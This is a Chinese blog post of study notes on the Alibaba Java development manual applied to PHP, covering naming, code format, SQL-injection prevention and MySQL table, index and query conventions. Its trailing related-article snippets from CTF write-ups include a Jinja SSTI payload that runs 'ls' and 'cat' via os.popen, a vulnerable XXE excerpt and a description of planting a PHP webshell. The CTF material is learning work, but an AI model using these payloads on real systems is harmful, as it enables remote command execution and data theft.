阿里巴巴java开发手册学习记录,php版

news/2024/7/7 18:39:08 标签: php, java, 数据库

一.编程规约

(一)命名风格

1.目录使用小写+下划线 home,view,model,admin_view

2.
类 UpperCamelCase PhpMailer
方法 lowerCamelCase getUserName
属性 lowerCamelCase tableName
函数 小写字母和下划线 get_client_ip
常量 全部大写 PASSWORD

如果模块、接口、类、方法使用了设计模式,在命名时需体现出具体模式。将设计模式体现在名字中,有利于阅读者快速理解架构设计理念。

(二)代码格式
1.
// 这是示例注释,请注意在双斜线之后有一个空格

2.
if else的语言结构 只在结束的地方换行
e.g.
if (flag == 1) {

System.out.println("world");

} else {

System.out.println("ok");

}

3.一行代码不超过120字符,超过需要使用换行
单个方法的总行数不超过 80 行。

4.代码逻辑分清红花和绿叶,个性和共性,绿叶逻辑单独出来成为额外方法,使主干代码 更加清晰;共性逻辑抽取成为共性方法,便于复用和维护。

(三)OOP规约
1.所有的覆写方法,必须加@Override注解

2.任何类、方法、参数、变量,严控访问范围。过于宽泛的访问范围,不利于模块解耦。
如果是一个 private 的方法,想删除就删除,可是一个 public 的 service
成员方法或成员变量,删除一下,不得手心冒点汗吗

3.避免出现重复的代码(Don’t Repeat Yourself),即DRY原则

二.安全规约

1.用户输入的 SQL 参数严格使用参数绑定或者 METADATA 字段值限定,防止 SQL 注入,
禁止直接使用前端传来的字符串拼接 SQL 访问数据库

三.MySQL规约

(一) 建表规约
1.任何字段如果为非负数,必须是 unsigned

2.表达是与否概念的字段,必须使用 is_xxx 的方式命名,数据类型是 unsigned tinyint ( 1表示是,0表示否)

3.表名不使用复数名词,表名应该仅仅表示表里面的实体内容,不应该表示实体数量

4.唯一索引名为 uk_字段名,普通索引名则为 idx_字段名。

5.小数类型为 decimal,禁止使用 float 和 double。
//说明:float 和 double 在存储的时候,存在精度损失的问题,很可能在值的比较时,得到不 正确的结果。如果存储的数据范围超过 decimal 的范围,建议将数据拆成整数和小数分开存储

6.varchar 是可变长字符串,不预先分配存储空间,长度不要超过 5000,如果存储长度大于此值,定义字段类型为 text,独立出来一张表,用主键来对应,避免影响其它字段索引效率。

7.禁用保留字,如 desc、range、match、delayed desc//这个很容易误用,以后换成descb

8.表必备三字段:id, gmt_create, gmt_modified。 说明:其中id必为主键,类型为bigint unsigned、单表时自增、步长为1。gmt_create, gmt_modified 的类型均为 datetime 类型,前者现在时表示主动创建,后者过去分词表示被 动更新。//here

9.【推荐】单表行数超过 500 万行或者单表容量超过 2GB,才推荐进行分库分表。

(二) 索引规约
1.业务上具有唯一特性的字段,即使是组合字段,也必须建成唯一索引。 说明:不要以为唯一索引影响了 insert 速度,这个速度损耗可以忽略,但提高查找速度是明 显的;另外,即使在应用层做了非常完善的校验和控制,只要没有唯一索引,根据墨菲定律, 必然有脏数据产生。

2.超过三个表禁止 join。需要 join 的字段,数据类型保持绝对一致;多表关联查询时,保证被关联的字段需要有索引。

3.利用覆盖索引来进行查询操作,来避免回表操作。
说明:如果一本书需要知道第 11 章是什么标题,会翻开第 11 章对应的那一页吗?
目录浏览一下就好,这个目录就是起到覆盖索引的作用。
//这个例子举的非常非常的好,以后用书和目录来理解索引和数据是个非常好的方式
//extra列会出现:using index

4.延迟关联或者子查询优化超多分页场景。
说明:MySQL 并不是跳过 offset 行,而是取 offset+N 行,然后返回放弃前 offset 行,返回 N 行,那当 offset 特别大的时候,效率就非常的低下,要么控制返回的总页数,要么缩减对要放弃的offset行的获取成本。
正例:先快速定位需要获取的 id 段,然后再关联:
SELECT a.* FROM 表 1 a, (select id from 表 1 where 条件 LIMIT 100000,20 ) b where a.id=b.id

5.在 varchar 字段上建立索引时,必须指定索引长度,没必要对全字段建立索引,根据实际文本区分度决定索引长度即可。

6.SQL 性能优化的目标:至少要达到 range 级别,要求是 ref 级别,如果可以是 consts 最好。
说明:
1)consts 单表中最多只有一个匹配行(主键或者唯一索引),在优化阶段即可读取到数据。
2)ref 指的是使用普通的索引(normal index)。
3)range 对索引进行范围检索。

7.防止因字段类型不同造成的隐式转换,导致索引失效。
select id from qs_video_update where bid = 73836918995;
select id from qs_video_update where bid = '73836918995';//explain一下天壤之别了

(三)sql语句
1.count(*)就是 SQL92 定义 的标准统计行数的语法,跟数据库无关,跟 NULL 和非 NULL 无关。
说明:count(*)会统计值为 NULL 的行,而 count(列名)不会统计此列为 NULL 值的行。


http://www.niftyadmin.cn/n/1621473.html

相关文章

ctfshow-SSTI

SSTI web361 payload: ?name{{ config.__class__.__init__.__globals__[os].popen(ls).read() }}?name{{ config.__class__.__init__.__globals__[os].popen(ls ../).read() }}之后打开 ?name{{ config.__class__.__init__.__globals__[os].popen(cat ../fla…

ctfshow--node.js漏洞

一些漏洞: 危险函数所导致的命令执行 eval() eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。 简单例子&#…

Vue 后台权限控制解决方案

2019独角兽企业重金招聘Python工程师标准>>> Vue2.0用户权限控制解决方案 .Vue 手把手写后台 .基于 vue2 element-ui 构建的后台管理系统微人事是一个前后端分离的人力资源管理系统vueiview 动态路由和权限验证 .端框架iviewui使用示例之菜单多Tab页布局Vue2 后台管…

ctfshow--xxe

xxe web373 查看源码: error_reporting(0); libxml_disable_entity_loader(false); $xmlfile file_get_contents(php://input); if(isset($xmlfile)){$dom new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds simplexml_im…

震惊!被这样开发的P2P分发下载技术

如果提起P2P分发技术的一些应用,你还是只能想到快播和网贷,那就真是OUT了。虽然大家对P2P褒贬不一,但都不可否认P2P分发技术是一项伟大的技术发明。这一项伟大发明从面世起在技术应用上也是经历了几代大起大落,认真观察过它应用领…

WEB-ctfshow入门文件包含

web151 查看源码可以发现只能上传png图片 修改为php 修改上传格式为php,上传一句话马,蚁剑连接得flag web152 后端校验 上传一句话,png文件用burp抓包 修改文件名后缀为php,访问被解析,蚁剑连接得flag。 web153 打开发现/upload下存在index.php…

利用SimpleMDE打造类似简书、掘金的markdown编辑器

最近在寻找适合web端的markdown编辑器,一直没有发现太合适的,直到发现 SimpleMDE,也可以直接在 Github上查看对应的说明信息, 安装 通过 npmnpm install simplemde --save 复制代码通过 bowerbower install simplemde --save 复制…

这家伙很懒

这家伙很懒,开通CSDN账号几年了才写第一篇博文